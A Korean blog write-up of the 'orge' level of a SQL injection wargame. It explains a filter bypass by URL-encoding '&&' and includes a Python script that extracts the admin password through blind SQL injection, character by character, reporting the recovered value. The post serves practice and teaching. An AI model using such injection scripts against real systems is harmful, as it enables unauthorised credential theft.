Web

LOS - orge

secretjuju 2020. 5. 5. 19:40

screenshot1

필터링을 피해서 admin의 pw를 blind sql injection을 통해 얻어내는 문제 같다.

orc 문제처럼 python으로 코드를 짜기전 &&를 이용하여 sql injection을 시도하면 &&이후로 sql이 들어가지 않는다 url에는 &를 넣을 수 없기 때문이다 그리하여 &대신 &의 url인코딩버전인 %26를 사용해야 한다.

 

python으로 blind sql injection에 대한 코드를 대강 짜보면

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests;
cookies = {
    "PHPSESSID" : "나의 PHPSESSID"
}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
i=1
 
pw = ""
 
while True:
    payload = 'aaa\'||+id=\'admin\'%26%26length(pw)=\''+str(i)
    res = requests.get(url=url+"?pw="+payload,cookies=cookies)
    if("Hello admin" in res.text):
        print("length is %d "%i)
        for j in range(1,i+1):
            for k in range(33,127):
                payload = 'aaa\'|| id=\'admin\'%26%26substr(pw,'+str(j)+',1)=\''+chr(k)
                print(chr(k),end="")
                res = requests.get(url=url+"?pw="+payload,cookies=cookies)
                if("Hello admin" in res.text):
                    pw+=chr(k)
                    iswordfounded = True
                    print("\npw : %s"%pw)
                    break
        break
    else :
        print("the length of pw is not %d" %i)
    i+=1
cs

screenshot2

비밀번호는 7B751AEC 에서 알파벳의 소문자 대문자들을 잘 맞추면 될 것 같다.

?pw=구해낸 비밀번호

id가 guest로 되어있어 Hello admin/guest는 뜨지 않는다 방금 구해낸 비밀번호는 admin의 비밀번호이기 때문이다.

어쨌든 나는 모두 소문자인 7b751aec 를 pw로 입력했더니 문제가 풀렸다.

 

screenshot3